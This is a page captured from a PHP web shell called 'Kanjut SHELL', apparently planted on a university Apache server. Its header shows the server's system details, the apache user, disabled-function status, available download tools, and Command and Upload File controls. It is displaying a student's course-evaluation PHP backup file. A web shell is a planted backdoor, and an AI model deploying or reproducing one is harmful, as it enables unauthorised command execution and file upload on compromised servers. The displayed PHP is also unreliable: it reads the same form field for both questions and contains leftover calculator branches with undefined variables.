Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 18.188.113.189
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/rkelly/public_html/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/rkelly/public_html/courseEvalResult.php~
<!--
	Results of Cousre Eval.
	displays all the information passed down from the last two pages,
	including student's name, course number, and results for the two questions
-->

<?php	session_start();	

	// Show the result of course eval
?>

<FONT color=blue size=4>
<?php
	$q1 = $_POST['ans'];	// "Strongly Agree", "Agree", "Disagree"
	$q2 = $_POST['ans'];
	$name = $_SESSION['name'];  // value from 1st page
	$status = $_SESSION['status'];
 
	print "The Student's Info: $name, $status "; 
	print "Course Evaluation:";

	if($q1 == "strongly agree")
	{	print "Thank you for filling out CS 112 course evaulation";
		
	}
	else if($op == "sub")
        {       $ans = $num1 - $num2;
                print "$num1 - $num2 = $ans";
        }
        else if($op == "mul")
        {       $ans = $num1 * $num2;
                print "$num1 * $num2 = $ans";
        }
        else if($op == "div")
        {       $ans = $num1 / $num2;
                print "$num1 / $num2 = $ans";
        }
?>
<HR>
<A HREF=courseevalform.php> Course Evaluation Form </A> | <A HREF=courseeval.html> Home </A>
</FONT>

Stv3n404 - 2023